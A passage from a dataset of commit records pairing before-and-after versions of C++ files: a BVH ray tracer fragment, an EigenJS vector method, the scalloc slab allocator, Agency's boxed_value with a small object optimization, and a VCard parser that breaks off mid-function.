\/\/ if we get no hit\n if(!hit1 && !hit2)\n hit = false;\n \n \/\/ for leaf nodes, trace ray into each triangular face\n }else{\n \n \/\/ get triangular faces of the hit BVH node\n const unsigned int* faces = bvh.GetNodeElements(nodeID);\n int size = bvh.GetNodeElementCount(nodeID);\n \n \/\/ trace the ray into each triangular face, tracking hits\n hit = false;\n for(int i = 0; i < size; i++){\n bool hit1 = intersectTriangle(r, h, face, faces[i]);\n if(!hit && hit1)\n hit = true;\n }\n }\n }\n \n \/\/ return if we hit a face within this node\n return hit;\n }\n};\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Vector\/instance_method_mula.hpp\n\/\/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\/\/\n\/\/ Copyright (c) 2014 Rick Yang (rick68 at gmail dot com)\n\/\/\n\/\/ This Source Code Form is subject to the terms of the Mozilla\n\/\/ Public License v. 2.0. If a copy of the MPL was not distributed\n\/\/ with this file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\/\/\n\n#ifndef EIGENJS_VECTOR_INSTANCE_METHOD_MULA_HPP\n#define EIGENJS_VECTOR_INSTANCE_METHOD_MULA_HPP\n\nnamespace EigenJS {\n\nEIGENJS_INSTANCE_METHOD(Vector, mula,\n{\n NanScope();\n\n if (args.Length() == 1) {\n Vector* obj = node::ObjectWrap::Unwrap<Vector>(args.This());\n typename Vector::value_type& value = **obj;\n\n if (Matrix::is_matrix(args[0])) {\n const Matrix* const& rhs_obj =\n node::ObjectWrap::Unwrap<Matrix>(args[0]->ToObject());\n const typename Matrix::value_type& rhs_matrix = **rhs_obj;\n\n if (T::is_invalid_matrix_product(obj, rhs_obj)) {\n NanReturnUndefined();\n }\n\n if (rhs_matrix.cols() != 1) {\n NanThrowError(\"The matrix size must be 1x1\");\n NanReturnUndefined();\n }\n\n value *= rhs_matrix;\n\n NanReturnValue(args.This());\n } else if (Vector::is_vector(args[0])) {\n const Vector* const& rhs_obj =\n node::ObjectWrap::Unwrap<Vector>(args[0]->ToObject());\n const typename Vector::value_type& rhs_vector = **rhs_obj;\n\n if (T::is_invalid_matrix_product(obj, rhs_obj)) {\n NanReturnUndefined();\n }\n\n value *= rhs_vector;\n\n NanReturnValue(args.This());\n } else if (T::is_scalar(args[0])) {\n value *= args[0]->NumberValue();\n\n NanReturnValue(args.This());\n }\n }\n\n EIGENJS_THROW_ERROR_INVALID_ARGUMENT()\n NanReturnUndefined();\n})\n\n} \/\/ namespace EigenJS\n\n#endif \/\/ EIGENJS_VECTOR_INSTANCE_METHOD_MULA_HPP\n<commit_msg>src: renamed type T<commit_after>\/\/\n\/\/ Vector\/instance_method_mula.hpp\n\/\/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\/\/\n\/\/ Copyright (c) 2014 Rick Yang (rick68 at gmail dot com)\n\/\/\n\/\/ This Source Code Form is subject to the terms of the Mozilla\n\/\/ Public License v. 2.0. If a copy of the MPL was not distributed\n\/\/ with this file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\/\/\n\n#ifndef EIGENJS_VECTOR_INSTANCE_METHOD_MULA_HPP\n#define EIGENJS_VECTOR_INSTANCE_METHOD_MULA_HPP\n\nnamespace EigenJS {\n\nEIGENJS_INSTANCE_METHOD(Vector, mula,\n{\n NanScope();\n\n if (args.Length() == 1) {\n Vector* obj = node::ObjectWrap::Unwrap<Vector>(args.This());\n typename Vector::value_type& value = **obj;\n\n if (Matrix::is_matrix(args[0])) {\n const Matrix* const& rhs_obj =\n node::ObjectWrap::Unwrap<Matrix>(args[0]->ToObject());\n const typename Matrix::value_type& rhs_matrix = **rhs_obj;\n\n if (Matrix::is_invalid_matrix_product(obj, rhs_obj)) {\n NanReturnUndefined();\n }\n\n if (rhs_matrix.cols() != 1) {\n NanThrowError(\"The matrix size must be 1x1\");\n NanReturnUndefined();\n }\n\n value *= rhs_matrix;\n\n NanReturnValue(args.This());\n } else if (Vector::is_vector(args[0])) {\n const Vector* const& rhs_obj =\n node::ObjectWrap::Unwrap<Vector>(args[0]->ToObject());\n const typename Vector::value_type& rhs_vector = **rhs_obj;\n\n if (Vector::is_invalid_matrix_product(obj, rhs_obj)) {\n NanReturnUndefined();\n }\n\n value *= rhs_vector;\n\n NanReturnValue(args.This());\n } else if (T::is_scalar(args[0])) {\n value *= args[0]->NumberValue();\n\n NanReturnValue(args.This());\n }\n }\n\n EIGENJS_THROW_ERROR_INVALID_ARGUMENT()\n NanReturnUndefined();\n})\n\n} \/\/ namespace EigenJS\n\n#endif \/\/ EIGENJS_VECTOR_INSTANCE_METHOD_MULA_HPP\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2012-2013, the scalloc Project Authors. All rights reserved.\n\/\/ Please see the AUTHORS file for details. Use of this source code is governed\n\/\/ by a BSD license that can be found in the LICENSE file.\n\n#include \"slab_sc_allocator.h\"\n\n#include \"allocators\/page_heap.h\"\n#include \"log.h\"\n#include \"runtime_vars.h\"\n\nnamespace scalloc {\n\nvoid SlabScAllocator::InitModule() {\n PageHeap::InitModule();\n}\n\nvoid SlabScAllocator::Init(const uint64_t id) {\n id_ = id;\n ActiveOwner dummy;\n dummy.Reset(true, id_);\n me_active_ = dummy.raw;\n dummy.Reset(false, id_);\n me_inactive_ = dummy.raw;\n}\n\nvoid* SlabScAllocator::AllocateNoSlab(const size_t sc, const size_t size) {\n \/\/ Size class 0 represents an object of size 0, which results in malloc()\n \/\/ returning NULL.\n if (sc == 0) {\n return NULL;\n }\n\n if (my_headers_[sc] != NULL) {\n#ifdef PROFILER_ON\n Profiler::GetProfiler().LogAllocation(size);\n#endif \/\/PROFILER_ON\n \/\/ Only try to steal we had a slab at least once.\n SlabHeader* hdr;\n void* p = DQScAllocator::Instance().Allocate(sc, id_, id_, &hdr);\n if (p != NULL) {\n#ifdef PROFILER_ON\n Profiler::GetProfiler().LogBlockStealing();\n#endif \/\/PROFILER_ON\n if (hdr != NULL) {\n SetActiveSlab(sc, hdr);\n } else {\n#ifdef GLOBAL_CLEANUP\n if (reinterpret_cast<SlabHeader*>(BlockHeader::GetFromObject(p))->aowner.owner != id_) {\n Refill(sc);\n }\n#endif \/\/ GLOBAL_CLEANUP\n }\n return p;\n }\n }\n\n Refill(sc);\n return Allocate(size);\n}\n\nvoid SlabScAllocator::Refill(const size_t sc) {\n#ifdef PROFILER_ON\n Profiler::GetProfiler().LogSizeclassRefill();\n#endif \/\/PROFILER_ON\n LOG(kTrace, \"[SlabAllocator]: refilling size class: %lu\", sc);\n uintptr_t block = reinterpret_cast<uintptr_t>(PageHeap::GetHeap()->Get());\n if (block == 0) {\n ErrorOut(\"PageHeap out of memory\");\n }\n SlabHeader* hdr = InitSlab(block,\n kPageMultiple * RuntimeVars::SystemPageSize(),\n sc);\n SetActiveSlab(sc, hdr);\n}\n\nSlabHeader* SlabScAllocator::InitSlab(uintptr_t block,\n size_t len,\n const size_t sc) {\n const size_t obj_size = SizeMap::Instance().ClassToSize(sc);\n size_t sys_page_size = RuntimeVars::SystemPageSize();\n SlabHeader* main_hdr = reinterpret_cast<SlabHeader*>(block);\n main_hdr->Reset(sc, id_);\n main_hdr->aowner.owner = id_;\n main_hdr->aowner.active = true;\n\n \/\/ We need to initialize the flist and place ForwardHeaders every system page\n \/\/ size bytes, since this is where we search for headers (for small AND large\n \/\/ objects)\n\n size_t nr_objects;\n\n \/\/ First block is special, since it contains the full slab header, while\n \/\/ others only contain the forward header to the first block.\n nr_objects = (sys_page_size - sizeof(*main_hdr)) \/ obj_size;\n main_hdr->flist.FromBlock(reinterpret_cast<void*>(block + sizeof(*main_hdr)),\n obj_size,\n nr_objects);\n len -= sys_page_size;\n block += sys_page_size;\n\n \/\/ Fill with forward headers and flist objects.\n for (; len >= sys_page_size; len -= sys_page_size) {\n ForwardHeader* fwd_hdr = reinterpret_cast<ForwardHeader*>(block);\n fwd_hdr->Reset(main_hdr);\n nr_objects = (sys_page_size - sizeof(*fwd_hdr)) \/ obj_size;\n main_hdr->flist.AddRange(reinterpret_cast<void*>(block + sizeof(*fwd_hdr)),\n obj_size,\n nr_objects);\n block += sys_page_size;\n }\n\n return main_hdr;\n}\n\nvoid SlabScAllocator::Destroy() {\n \/\/ Destroying basically means giving up all active spans. We can only give up\n \/\/ our current spans, since we do not have references to the others. Assuming\n \/\/ the mutator had no memory leak (i.e. all non-shared objects have been\n \/\/ freed), a span now can stay active forever (all reusable blocks travel\n \/\/ through the remote freelists), or it is already inactive (and thus\n \/\/ available for reuse).\n for (size_t i = 0; i < kNumClasses; i++) {\n if (my_headers_[i]) {\n my_headers_[i]->aowner.active = false;\n }\n }\n}\n\n} \/\/ namespace scalloc\n<commit_msg>Linted.<commit_after>\/\/ Copyright (c) 2012-2013, the scalloc Project Authors. All rights reserved.\n\/\/ Please see the AUTHORS file for details. Use of this source code is governed\n\/\/ by a BSD license that can be found in the LICENSE file.\n\n#include \"slab_sc_allocator.h\"\n\n#include \"allocators\/page_heap.h\"\n#include \"log.h\"\n#include \"runtime_vars.h\"\n\nnamespace scalloc {\n\nvoid SlabScAllocator::InitModule() {\n PageHeap::InitModule();\n}\n\nvoid SlabScAllocator::Init(const uint64_t id) {\n id_ = id;\n ActiveOwner dummy;\n dummy.Reset(true, id_);\n me_active_ = dummy.raw;\n dummy.Reset(false, id_);\n me_inactive_ = dummy.raw;\n}\n\nvoid* SlabScAllocator::AllocateNoSlab(const size_t sc, const size_t size) {\n \/\/ Size class 0 represents an object of size 0, which results in malloc()\n \/\/ returning NULL.\n if (sc == 0) {\n return NULL;\n }\n\n if (my_headers_[sc] != NULL) {\n#ifdef PROFILER_ON\n Profiler::GetProfiler().LogAllocation(size);\n#endif \/\/ PROFILER_ON\n \/\/ Only try to steal we had a slab at least once.\n SlabHeader* hdr;\n void* p = DQScAllocator::Instance().Allocate(sc, id_, id_, &hdr);\n if (p != NULL) {\n#ifdef PROFILER_ON\n Profiler::GetProfiler().LogBlockStealing();\n#endif \/\/ PROFILER_ON\n if (hdr != NULL) {\n SetActiveSlab(sc, hdr);\n } else {\n#ifdef GLOBAL_CLEANUP\n if (reinterpret_cast<SlabHeader*>(BlockHeader::GetFromObject(p))->aowner.owner != id_) {\n Refill(sc);\n }\n#endif \/\/ GLOBAL_CLEANUP\n }\n return p;\n }\n }\n\n Refill(sc);\n return Allocate(size);\n}\n\nvoid SlabScAllocator::Refill(const size_t sc) {\n#ifdef PROFILER_ON\n Profiler::GetProfiler().LogSizeclassRefill();\n#endif \/\/ PROFILER_ON\n LOG(kTrace, \"[SlabAllocator]: refilling size class: %lu\", sc);\n uintptr_t block = reinterpret_cast<uintptr_t>(PageHeap::GetHeap()->Get());\n if (block == 0) {\n ErrorOut(\"PageHeap out of memory\");\n }\n SlabHeader* hdr = InitSlab(block,\n kPageMultiple * RuntimeVars::SystemPageSize(),\n sc);\n SetActiveSlab(sc, hdr);\n}\n\nSlabHeader* SlabScAllocator::InitSlab(uintptr_t block,\n size_t len,\n const size_t sc) {\n const size_t obj_size = SizeMap::Instance().ClassToSize(sc);\n size_t sys_page_size = RuntimeVars::SystemPageSize();\n SlabHeader* main_hdr = reinterpret_cast<SlabHeader*>(block);\n main_hdr->Reset(sc, id_);\n main_hdr->aowner.owner = id_;\n main_hdr->aowner.active = true;\n\n \/\/ We need to initialize the flist and place ForwardHeaders every system page\n \/\/ size bytes, since this is where we search for headers (for small AND large\n \/\/ objects)\n\n size_t nr_objects;\n\n \/\/ First block is special, since it contains the full slab header, while\n \/\/ others only contain the forward header to the first block.\n nr_objects = (sys_page_size - sizeof(*main_hdr)) \/ obj_size;\n main_hdr->flist.FromBlock(reinterpret_cast<void*>(block + sizeof(*main_hdr)),\n obj_size,\n nr_objects);\n len -= sys_page_size;\n block += sys_page_size;\n\n \/\/ Fill with forward headers and flist objects.\n for (; len >= sys_page_size; len -= sys_page_size) {\n ForwardHeader* fwd_hdr = reinterpret_cast<ForwardHeader*>(block);\n fwd_hdr->Reset(main_hdr);\n nr_objects = (sys_page_size - sizeof(*fwd_hdr)) \/ obj_size;\n main_hdr->flist.AddRange(reinterpret_cast<void*>(block + sizeof(*fwd_hdr)),\n obj_size,\n nr_objects);\n block += sys_page_size;\n }\n\n return main_hdr;\n}\n\nvoid SlabScAllocator::Destroy() {\n \/\/ Destroying basically means giving up all active spans. We can only give up\n \/\/ our current spans, since we do not have references to the others. Assuming\n \/\/ the mutator had no memory leak (i.e. all non-shared objects have been\n \/\/ freed), a span now can stay active forever (all reusable blocks travel\n \/\/ through the remote freelists), or it is already inactive (and thus\n \/\/ available for reuse).\n for (size_t i = 0; i < kNumClasses; i++) {\n if (my_headers_[i]) {\n my_headers_[i]->aowner.active = false;\n }\n }\n}\n\n} \/\/ namespace scalloc\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n#include <agency\/detail\/config.hpp>\n#include <agency\/detail\/unique_ptr.hpp>\n#include <memory>\n\nnamespace agency\n{\nnamespace detail\n{\n\n\ntemplate<class T, class Alloc = std::allocator<T>>\nclass boxed_value\n{\n public:\n using allocator_type = typename std::allocator_traits<Alloc>::template rebind_alloc<T>;\n using value_type = typename allocator_type::value_type;\n\n __AGENCY_ANNOTATION\n boxed_value()\n : boxed_value(value_type{})\n {}\n\n __AGENCY_ANNOTATION\n boxed_value(const boxed_value& other)\n : boxed_value(other.value())\n {}\n\n __AGENCY_ANNOTATION\n boxed_value(boxed_value&& other)\n : boxed_value(std::move(other.value()))\n {}\n\n template<class... Args,\n class = typename std::enable_if<\n std::is_constructible<T,Args&&...>::value\n >::type>\n __AGENCY_ANNOTATION\n explicit boxed_value(Args... args)\n : data_(agency::detail::allocate_unique<T>(allocator_type(), std::forward<Args>(args)...))\n {}\n\n __AGENCY_ANNOTATION\n boxed_value& operator=(const boxed_value& other)\n {\n value() = other.value();\n return *this;\n }\n\n __AGENCY_ANNOTATION\n boxed_value& operator=(boxed_value&& other)\n {\n value() = std::move(other.value());\n return *this;\n }\n\n __AGENCY_ANNOTATION\n value_type& value() &\n {\n return *data_;\n }\n\n __AGENCY_ANNOTATION\n const value_type& value() const &\n {\n return *data_;\n }\n\n __AGENCY_ANNOTATION\n value_type&& value() &&\n {\n return std::move(*data_);\n }\n\n __AGENCY_ANNOTATION\n const value_type&& value() const &&\n {\n return std::move(*data_);\n }\n\n template<class U,\n class = typename std::enable_if<\n std::is_assignable<value_type,U&&>::value\n >::type>\n __AGENCY_ANNOTATION\n boxed_value& operator=(U&& other)\n {\n value() = std::forward<U>(other);\n return *this;\n }\n\n private:\n agency::detail::unique_ptr<T,agency::detail::deleter<allocator_type>> data_;\n};\n\n\n\/\/ when the allocator is std::allocator<T>, we can just put this on the stack\ntemplate<class T, class OtherT>\nclass boxed_value<T,std::allocator<OtherT>>\n{\n public:\n using allocator_type = std::allocator<T>;\n using value_type = typename allocator_type::value_type;\n\n __AGENCY_ANNOTATION\n boxed_value()\n : boxed_value(value_type{})\n {}\n\n __AGENCY_ANNOTATION\n boxed_value(const boxed_value& other)\n : boxed_value(other.value())\n {}\n\n __AGENCY_ANNOTATION\n boxed_value(boxed_value&& other)\n : boxed_value(std::move(other.value_))\n {}\n\n template<class... Args,\n class = typename std::enable_if<\n std::is_constructible<T,Args&&...>::value\n >::type>\n __AGENCY_ANNOTATION\n explicit boxed_value(Args&&... args)\n : value_(std::forward<Args>(args)...)\n {}\n\n __AGENCY_ANNOTATION\n value_type& value()\n {\n return value_;\n }\n\n __AGENCY_ANNOTATION\n const value_type& value() const\n {\n return value_;\n }\n\n template<class U,\n class = typename std::enable_if<\n std::is_assignable<value_type,U&&>::value\n >::type>\n __AGENCY_ANNOTATION\n boxed_value& operator=(U&& other)\n {\n value() = std::forward<U>(other);\n return *this;\n }\n\n private:\n value_type value_;\n};\n\n\ntemplate<class T, class Alloc, class... Args>\n__AGENCY_ANNOTATION\nboxed_value<T,Alloc> allocate_boxed(const Alloc&, Args&&... args)\n{\n return boxed_value<T,Alloc>(std::forward<Args>(args)...);\n}\n\n\n} \/\/ end detail\n} \/\/ end agency\n\n<commit_msg>Implement small object optimization for boxed_value<commit_after>#pragma once\n\n#include <agency\/detail\/config.hpp>\n#include <agency\/detail\/unique_ptr.hpp>\n#include <agency\/detail\/tuple.hpp>\n#include <memory>\n#include <type_traits>\n\n\nnamespace agency\n{\nnamespace detail\n{\n\n\nnamespace boxed_value_detail\n{\n\n\ntemplate<class T, class Alloc>\nstruct use_small_object_optimization : disjunction<\n std::is_same<Alloc,std::allocator<T>>,\n std::is_empty<T>,\n is_empty_tuple<T> \n>\n{};\n\n\n} \/\/ end boxed_value_detail\n\n\ntemplate<class T, class Alloc = std::allocator<T>,\n bool use_optimization = boxed_value_detail::use_small_object_optimization<T,Alloc>::value>\nclass boxed_value : private std::allocator_traits<Alloc>::template rebind_alloc<T>\n{\n public:\n using allocator_type = typename std::allocator_traits<Alloc>::template rebind_alloc<T>;\n using value_type = typename allocator_type::value_type;\n\n __AGENCY_ANNOTATION\n boxed_value()\n : boxed_value(value_type{})\n {}\n\n __AGENCY_ANNOTATION\n boxed_value(const boxed_value& other)\n : boxed_value(other.value())\n {}\n\n __AGENCY_ANNOTATION\n boxed_value(boxed_value&& other)\n : boxed_value(std::move(other.value()))\n {}\n\n template<class... Args,\n class = typename std::enable_if<\n std::is_constructible<T,Args&&...>::value\n >::type>\n __AGENCY_ANNOTATION\n explicit boxed_value(Args... args)\n : data_(agency::detail::allocate_unique<T>(get_allocator(), std::forward<Args>(args)...))\n {}\n\n __AGENCY_ANNOTATION\n boxed_value& operator=(const boxed_value& other)\n {\n value() = other.value();\n return *this;\n }\n\n __AGENCY_ANNOTATION\n boxed_value& operator=(boxed_value&& other)\n {\n value() = std::move(other.value());\n return *this;\n }\n\n __AGENCY_ANNOTATION\n value_type& value() &\n {\n return *data_;\n }\n\n __AGENCY_ANNOTATION\n const value_type& value() const &\n {\n return *data_;\n }\n\n __AGENCY_ANNOTATION\n value_type&& value() &&\n {\n return std::move(*data_);\n }\n\n __AGENCY_ANNOTATION\n const value_type&& value() const &&\n {\n return std::move(*data_);\n }\n\n template<class U,\n class = typename std::enable_if<\n std::is_assignable<value_type,U&&>::value\n >::type>\n __AGENCY_ANNOTATION\n boxed_value& operator=(U&& other)\n {\n value() = std::forward<U>(other);\n return *this;\n }\n\n private:\n __AGENCY_ANNOTATION\n allocator_type& get_allocator()\n {\n return *this;\n }\n\n agency::detail::unique_ptr<T,agency::detail::deleter<allocator_type>> data_;\n};\n\n\n\/\/ when using the optimization, we put the object on the stack\ntemplate<class T, class Alloc>\nclass boxed_value<T,Alloc,true>\n{\n public:\n using allocator_type = typename std::allocator_traits<Alloc>::template rebind_alloc<T>;\n using value_type = typename allocator_type::value_type;\n\n __AGENCY_ANNOTATION\n boxed_value()\n : boxed_value(value_type{})\n {}\n\n __AGENCY_ANNOTATION\n boxed_value(const boxed_value& other)\n : boxed_value(other.value())\n {}\n\n __AGENCY_ANNOTATION\n boxed_value(boxed_value&& other)\n : boxed_value(std::move(other.value_))\n {}\n\n template<class... Args,\n class = typename std::enable_if<\n std::is_constructible<T,Args&&...>::value\n >::type>\n __AGENCY_ANNOTATION\n explicit boxed_value(Args&&... args)\n : value_(std::forward<Args>(args)...)\n {}\n\n __AGENCY_ANNOTATION\n value_type& value()\n {\n return value_;\n }\n\n __AGENCY_ANNOTATION\n const value_type& value() const\n {\n return value_;\n }\n\n template<class U,\n class = typename std::enable_if<\n std::is_assignable<value_type,U&&>::value\n >::type>\n __AGENCY_ANNOTATION\n boxed_value& operator=(U&& other)\n {\n value() = std::forward<U>(other);\n return *this;\n }\n\n private:\n value_type value_;\n};\n\n\ntemplate<class T, class Alloc, class... Args>\n__AGENCY_ANNOTATION\nboxed_value<T,Alloc> allocate_boxed(const Alloc&, Args&&... args)\n{\n return boxed_value<T,Alloc>(std::forward<Args>(args)...);\n}\n\n\n} \/\/ end detail\n} \/\/ end agency\n\n<|endoftext|>"} {"text":"<commit_before>#include \"VCardParser.h\"\n#include <assert.h>\n#include <QIODevice>\n#include <QByteArray>\n#include <QDebug>\n#include \"Exceptions.h\"\n#include \"Contact.h\"\n\n\n\n\n\n\/** Provides the actual parsing implementation. *\/\nclass VCardParserImpl\n{\npublic:\n\t\/** Creates a new parser instance and binds it to the specified data source and destination contact book. *\/\n\tVCardParserImpl(QIODevice & a_Source, ContactBookPtr a_Dest):\n\t\tm_Source(a_Source),\n\t\tm_Dest(a_Dest),\n\t\tm_State(psIdle),\n\t\tm_CurrentLineNum(0)\n\t{\n\t}\n\n\n\n\t\/** Parses the source data from m_Source into the bound destination contact book m_Dest.\n\tThrows an EException descendant on error. Note that m_Dest may still be filled with some contacts\n\tthat parsed successfully. *\/\n\tvoid parse()\n\t{\n\t\t\/\/ Parse line-by-line, unwrap the lines here:\n\t\tQByteArray acc; \/\/ Accumulator for the current line\n\t\twhile (!m_Source.atEnd())\n\t\t{\n\t\t\tQByteArray cur = m_Source.readLine();\n\t\t\tif (\n\t\t\t\t!cur.isEmpty() &&\n\t\t\t\t(\n\t\t\t\t\t(cur.at(0) == 0x20) || \/\/ Continuation by a SP\n\t\t\t\t\t(cur.at(0) == 0x09) || \/\/ Continuation by a HT\n\t\t\t\t\t!cur.contains(':') \/\/ Some bad serializers don't fold the lines properly, continuations are made without the leading space (LG G4)\n\t\t\t\t)\n\t\t\t)\n\t\t\t{\n\t\t\t\t\/\/ This was a folded line, append it to the accumulator:\n\t\t\t\tcur.remove(0, 1);\n\t\t\t\tacc.append(cur);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t\/\/ This is a (start of a) new line, process the accumulator and store the new line in it:\n\t\t\t\tif (!acc.isEmpty())\n\t\t\t\t{\n\t\t\t\t\tprocessLine(acc);\n\t\t\t\t}\n\t\t\t\tstd::swap(acc, cur);\n\t\t\t}\n\t\t}\n\t\t\/\/ Process the last line:\n\t\tif (!acc.isEmpty())\n\t\t{\n\t\t\tprocessLine(acc);\n\t\t}\n\t}\n\n\nprotected:\n\n\t\/** The state of the outer state-machine, checking the sentences' sequencing (begin, version, <data>, end). *\/\n\tenum State\n\t{\n\t\tpsIdle, \/\/< The parser has no current contact, it expects a new \"BEGIN:VCARD\" sentence\n\t\tpsBeginVCard, \/\/< The parser has just read the \"BEGIN:VCARD\" line, expects a \"VERSION\" sentence\n\t\tpsContact, \/\/< The parser is reading individual contact property sentence\n\t} m_State;\n\n\t\/** The source data provider. *\/\n\tQIODevice & m_Source;\n\n\t\/** The contact book into which the data is to be written. *\/\n\tContactBookPtr m_Dest;\n\n\t\/** The current contact being parsed.\n\tOnly valid in the psContact state. *\/\n\tContactPtr m_CurrentContact;\n\n\t\/** The number of the line currently being processed (for error reporting). *\/\n\tint m_CurrentLineNum;\n\n\n\n\n\n\t\/** Parses the given single (unfolded) line. *\/\n\tvoid processLine(const QByteArray & a_Line)\n\t{\n\t\tm_CurrentLineNum += 1;\n\t\tif (a_Line.isEmpty() || (a_Line == \"\\n\"))\n\t\t{\n\t\t\treturn;\n\t\t}\n\t\ttry\n\t\t{\n\t\t\tauto sentence = breakUpSentence(a_Line);\n\t\t\tswitch (m_State)\n\t\t\t{\n\t\t\t\tcase psIdle: processSentenceIdle(sentence); break;\n\t\t\t\tcase psBeginVCard: processSentenceBeginVCard(sentence); break;\n\t\t\t\tcase psContact: processSentenceContact(sentence); break;\n\t\t\t}\n\t\t}\n\t\tcatch (const EParseError & exc)\n\t\t{\n\t\t\tqWarning() << QString::fromUtf8(\"Cannot parse VCARD, line %1: %2. The line contents: \\\"%3\\\"\")\n\t\t\t\t.arg(m_CurrentLineNum)\n\t\t\t\t.arg(QString::fromStdString(exc.m_Message))\n\t\t\t\t.arg(QString::fromStdString(a_Line.toStdString()));\n\t\t\tthrow;\n\t\t}\n\t}\n\n\n\n\n\n\t\/** Breaks the specified single (unfolded) line into the contact sentence representation. *\/\n\tContact::Sentence breakUpSentence(const QByteArray & a_Line)\n\t{\n\t\tContact::Sentence res;\n\n\t\t\/\/ The state of the inner state-machine, parsing a single sentence.\n\t\t\/\/ Each sentence has a basic structure of \"[group.]key[;param1;param2]=value\"\n\t\tenum\n\t\t{\n\t\t\tssBegin, \/\/< The parser is reading the beginning of the sentence (group or key)\n\t\t\tssKey, \/\/< The parser is reading the key (the group was present)\n\t\t\tssParamName, \/\/< The parser is reading the param name\n\t\t\tssParamValue, \/\/< The parser is reading the param value\n\t\t\tssParamValueDQuote, \/\/< The parser is reading the param value and is inside a dquote\n\t\t\tssParamValueEnd, \/\/< The parser has just finished the DQuote of a param value\n\t\t} sentenceState = ssBegin;\n\n\t\tauto len = a_Line.length();\n\t\tassert(len > 0);\n\t\tif (a_Line.at(len - 1) == '\\n')\n\t\t{\n\t\t\tassert(len > 1);\n\t\t\tlen -= 1;\n\t\t}\n\t\tint last = 0;\n\t\tQByteArray currentParamName, currentParamValue;\n\t\tfor (auto i = 0; i < len; ++i)\n\t\t{\n\t\t\tauto ch = a_Line.at(i);\n\t\t\tswitch (sentenceState)\n\t\t\t{\n\t\t\t\tcase ssBegin:\n\t\t\t\t{\n\t\t\t\t\tif (ch == '.')\n\t\t\t\t\t{\n\t\t\t\t\t\tres.m_Group = a_Line.mid(0, i - 1);\n\t\t\t\t\t\tlast = i + 1;\n\t\t\t\t\t\tsentenceState = ssKey;\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\t\/\/ fallthrough\n\t\t\t\t} \/\/ case ssBegin\n\n\t\t\t\tcase ssKey:\n\t\t\t\t{\n\t\t\t\t\tif (ch == ';')\n\t\t\t\t\t{\n\t\t\t\t\t\tif (last == i)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tthrow EParseError(__FILE__, __LINE__, \"An empty key is not allowed\");\n\t\t\t\t\t\t}\n\t\t\t\t\t\tres.m_Key = a_Line.mid(last, i - last).toLower();\n\t\t\t\t\t\tlast = i + 1;\n\t\t\t\t\t\tsentenceState = ssParamName;\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tif (ch == ':')\n\t\t\t\t\t{\n\t\t\t\t\t\tif (last == i)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tthrow EParseError(__FILE__, __LINE__, \"An empty key is not allowed\");\n\t\t\t\t\t\t}\n\t\t\t\t\t\tres.m_Key = a_Line.mid(last, i - last).toLower();\n\t\t\t\t\t\tres.m_Value = a_Line.mid(i + 1, len - i - 1);\n\t\t\t\t\t\treturn res;\n\t\t\t\t\t}\n\t\t\t\t\tif (ch == '.')\n\t\t\t\t\t{\n\t\t\t\t\t\tthrow EParseError(__FILE__, __LINE__, \"A group has already been parsed, cannot add another one.\");\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\t} \/\/ case ssKey\n\n\t\t\t\tcase ssParamName:\n\t\t\t\t{\n\t\t\t\t\tif (ch == '=')\n\t\t\t\t\t{\n\t\t\t\t\t\tif (i == last)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tthrow EParseError(__FILE__, __LINE__, \"A parameter with no name is not allowed\");\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcurrentParamName = a_Line.mid(last, i - last).toLower();\n\t\t\t\t\t\tlast = i + 1;\n\t\t\t\t\t\tcurrentParamValue.clear();\n\t\t\t\t\t\tsentenceState = ssParamValue;\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tif (ch == ';')\n\t\t\t\t\t{\n\t\t\t\t\t\t\/\/ Value-less parameter with another parameter following (\"TEL;CELL;OTHER:...\")\n\t\t\t\t\t\tres.m_Params.emplace_back(currentParamName, QByteArray());\n\t\t\t\t\t\tlast = i + 1;\n\t\t\t\t\t\tcurrentParamValue.clear();\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tif (ch == ':')\n\t\t\t\t\t{\n\t\t\t\t\t\t\/\/ Value-less parameter ending the params (\"TEL;CELL:...\")\n\t\t\t\t\t\tres.m_Params.emplace_back(currentParamName, QByteArray());\n\t\t\t\t\t\tlast = i + 1;\n\t\t\t\t\t\tlast = i + 1;\n\t\t\t\t\t\tres.m_Value = a_Line.mid(i + 1, len - i - 1);\n\t\t\t\t\t\treturn res;\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\t} \/\/ case ssParamName\n\n\t\t\t\tcase ssParamValue:\n\t\t\t\t{\n\t\t\t\t\tif (ch == '\"')\n\t\t\t\t\t{\n\t\t\t\t\t\tif (i > last)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tthrow EParseError(__FILE__, __LINE__, \"Param value double-quoting is wrong\");\n\t\t\t\t\t\t}\n\t\t\t\t\t\tlast = i + 1;\n\t\t\t\t\t}\n\t\t\t\t\tif (ch == ',')\n\t\t\t\t\t{\n\t\t\t\t\t\tres.m_Params.emplace_back(currentParamName, a_Line.mid(last, i - last));\n\t\t\t\t\t\tlast = i + 1;\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tif (ch == ':')\n\t\t\t\t\t{\n\t\t\t\t\t\tres.m_Params.emplace_back(currentParamName, a_Line.mid(last, i - last));\n\t\t\t\t\t\tlast = i + 1;\n\t\t\t\t\t\tres.m_Value = a_Line.mid(i + 1, len - i - 1);\n\t\t\t\t\t\treturn res;\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\t} \/\/ case ssParamValue\n\n\t\t\t\tcase ssParamValueDQuote:\n\t\t\t\t{\n\t\t\t\t\tif (ch == '\"')\n\t\t\t\t\t{\n\t\t\t\t\t\tres.m_Params.emplace_back(currentParamName, 